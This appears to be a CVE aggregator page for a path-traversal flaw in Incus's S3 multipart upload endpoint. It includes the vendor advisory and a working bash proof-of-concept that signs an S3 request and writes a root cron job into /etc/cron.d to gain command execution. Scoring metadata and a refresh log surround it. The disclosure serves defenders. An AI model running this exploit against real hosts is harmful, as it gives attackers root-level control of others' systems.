CVE-2026-48753

CRITICALPre-NVD 9.99.9
EchelonGraph scoreLOW confidence

This critical-severity CVE scores 9.9 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit-prediction score not yet available (the EPSS model rescores nightly; freshly-published CVEs typically appear within 48 hours). GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m
9.9
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS: CVSS: 9.9Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

Incus has an arbitrary file write via path traversal in S3 multipart upload

Summary

The S3 protocol upload endpoint is vulnerable to path traversal and allows creation of arbitrary files on the host. This behavior could lead to arbitrary command execution.

In internal/server/storage/s3/local/multipart.go, user-controlled upload ID is appended to the uploads directory unsanitized; https://github.com/lxc/incus/blob/40dd4f151d52c06b178482aa2518abfb9df3e6fb/internal/server/storage/s3/local/multipart.go#L33

PoC

Setup

# Expose the S3 API and create a bucket
incus config set core.storage_buckets_address=:8555
incus storage volume create default bucket
#> note the credentials

Exploitation

The below script was mostly generated.

#!/usr/bin/env bash
set -euo pipefail

if [ $# -lt 4 ]; then printf 'usage: $0 endpoint bucket access-key secret-key\n' >&2 exit 1 fi

endpoint="${1%/}" bucket="${2}" access="${3}" secret="${4}"

region="us-east-1" service="s3" key="anything" part="1" upload_id="../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/cron.d" target="/etc/cron.d/part-00001" cmd="id > /incus-s3-uploadid-bash-rce; rm -f $target" body="* * * * * root /bin/sh -c '$cmd' "

uri_path="$(printf '%s' "$endpoint" | sed -E 's#^[a-z]+://[^/]+##')/$bucket/$key" uri_path="${uri_path#/}" uri_path="/$uri_path" host="$(printf '%s' "$endpoint" | sed -E 's#^[a-z]+://([^/]+).*#\1#')" qs="partNumber=$part&uploadId=${upload_id//\//%2F}" url="$endpoint/$bucket/$key?$qs"

amz_date=$(date -u +%Y%m%dT%H%M%SZ) date_scope="${amz_date:0:8}" scope="$date_scope/$region/$service/aws4_request" body_hash=$(printf '%s' "$body" | sha256sum | awk '{print $1}') signed="host;x-amz-content-sha256;x-amz-date"

canonical="PUT $uri_path $qs host:$host x-amz-content-sha256:$body_hash x-amz-date:$amz_date

$signed $body_hash" canonical_hash="$(printf '%s' "$canonical" | sha256sum | awk '{print $1}')" string_to_sign="AWS4-HMAC-SHA256 $amz_date $scope $canonical_hash"

hmac_hex() { printf '%s' "${2}" | openssl dgst -sha256 -mac HMAC -macopt "hexkey:${1}" -binary | xxd -p -c 256 }

k_date=$(printf 'AWS4%s' "$secret" | xxd -p -c 256) k_date=$(hmac_hex "$k_date" "$date_scope") k_region=$(hmac_hex "$k_date" "$region") k_service=$(hmac_hex "$k_region" "$service") k_signing=$(hmac_hex "$k_service" "aws4_request") sig=$(hmac_hex "$k_signing" "$string_to_sign") auth="AWS4-HMAC-SHA256 Credential=${access}/${scope},SignedHeaders=${signed},Signature=${sig}"

printf '# body:\n%s' "${body}"

curl -ksS -X PUT "${url}" \ -H "Host: ${host}" \ -H "X-Amz-Date: ${amz_date}" \ -H "X-Amz-Content-Sha256: ${body_hash}" \ -H "Authorization: ${auth}" \ --data-binary "${body}"

Impact

Arbitrary file write on the host. Possibly leading to arbitrary command execution.

CVSS v3
9.9
EG Score
9.9(low)
EPSS
KEV
Not listed

Published

June 26, 2026

Last Modified

June 26, 2026

Vendor Advisories for CVE-2026-48753(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Data Freshness Timeline

(refreshed 43× in last 7d / 65× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-07 06:48 UTCEG score recompute
  2. 2026-07-07 02:52 UTCEG score recompute
  3. 2026-07-06 22:58 UTCEG score recompute
  4. 2026-07-06 19:03 UTCEG score recompute
  5. 2026-07-06 15:07 UTCEG score recompute
  6. 2026-07-06 11:10 UTCEG score recompute
  7. 2026-07-06 07:14 UTCEG score recompute
  8. 2026-07-06 03:16 UTCEG score recompute
  9. 2026-07-05 23:22 UTCEG score recompute
  10. 2026-07-05 19:28 UTCEG score recompute
  11. 2026-07-05 15:34 UTCEG score recompute
  12. 2026-07-05 11:39 UTCEG score recompute
  13. 2026-07-05 07:40 UTCEG score recompute
  14. 2026-07-05 03:44 UTCEG score recompute
  15. 2026-07-04 23:49 UTCEG score recompute
  16. 2026-07-04 19:54 UTCEG score recompute
  17. 2026-07-04 16:00 UTCEG score recompute
  18. 2026-07-04 12:06 UTCEG score recompute
  19. 2026-07-04 08:10 UTCEG score recompute
  20. 2026-07-04 04:14 UTCEG score recompute
  21. 2026-07-04 00:18 UTCEG score recompute
  22. 2026-07-03 20:24 UTCEG score recompute
  23. 2026-07-03 16:30 UTCEG score recompute
  24. 2026-07-03 12:35 UTCEG score recompute
  25. 2026-07-03 08:26 UTCEG score recompute
Show 40 more
  1. 2026-07-03 04:32 UTCEG score recompute
  2. 2026-07-03 00:36 UTCEG score recompute
  3. 2026-07-02 20:41 UTCEG score recompute
  4. 2026-07-02 16:46 UTCEG score recompute
  5. 2026-07-02 12:51 UTCEG score recompute
  6. 2026-07-02 08:57 UTCEG score recompute
  7. 2026-07-02 04:59 UTCEG score recompute
  8. 2026-07-02 01:05 UTCEG score recompute
  9. 2026-07-01 21:10 UTCEG score recompute
  10. 2026-07-01 17:14 UTCEG score recompute
  11. 2026-07-01 13:20 UTCEG score recompute
  12. 2026-07-01 09:25 UTCEG score recompute
  13. 2026-07-01 05:30 UTCEG score recompute
  14. 2026-07-01 01:36 UTCEG score recompute
  15. 2026-06-30 21:42 UTCEG score recompute
  16. 2026-06-30 17:47 UTCEG score recompute
  17. 2026-06-30 13:53 UTCEG score recompute
  18. 2026-06-30 09:58 UTCEG score recompute
  19. 2026-06-30 05:56 UTCEG score recompute
  20. 2026-06-30 02:01 UTCEG score recompute
  21. 2026-06-29 22:07 UTCEG score recompute
  22. 2026-06-29 18:12 UTCEG score recompute
  23. 2026-06-29 14:08 UTCEG score recompute
  24. 2026-06-29 10:14 UTCEG score recompute
  25. 2026-06-29 06:19 UTCEG score recompute
  26. 2026-06-29 02:23 UTCEG score recompute
  27. 2026-06-28 22:29 UTCEG score recompute
  28. 2026-06-28 18:34 UTCEG score recompute
  29. 2026-06-28 14:40 UTCEG score recompute
  30. 2026-06-28 10:45 UTCEG score recompute
  31. 2026-06-28 06:50 UTCEG score recompute
  32. 2026-06-28 02:57 UTCEG score recompute
  33. 2026-06-27 23:03 UTCEG score recompute
  34. 2026-06-27 19:08 UTCEG score recompute
  35. 2026-06-27 15:13 UTCEG score recompute
  36. 2026-06-27 11:18 UTCEG score recompute
  37. 2026-06-27 07:23 UTCEG score recompute
  38. 2026-06-27 03:29 UTCEG score recompute
  39. 2026-06-26 23:32 UTCEG score recompute
  40. 2026-06-26 19:37 UTCEG score recompute

Frequently asked(4)

What is CVE-2026-48753?
CVE-2026-48753 is a critical vulnerability published on June 26, 2026. Incus has an arbitrary file write via path traversal in S3 multipart upload Summary The S3 protocol upload endpoint is vulnerable to path traversal and allows creation of arbitrary files on the host. This behavior could lead to arbitrary command execution. In…
When was CVE-2026-48753 disclosed?
CVE-2026-48753 was first published in the National Vulnerability Database on June 26, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
What is the CVSS score of CVE-2026-48753?
CVE-2026-48753 has a CVSS v4.0 base score of 9.9 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-48753?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-48753, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

Explore the affected products and dependency analysis for CVE-2026-48753

Explore →

Is Your Infrastructure Affected by CVE-2026-48753?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.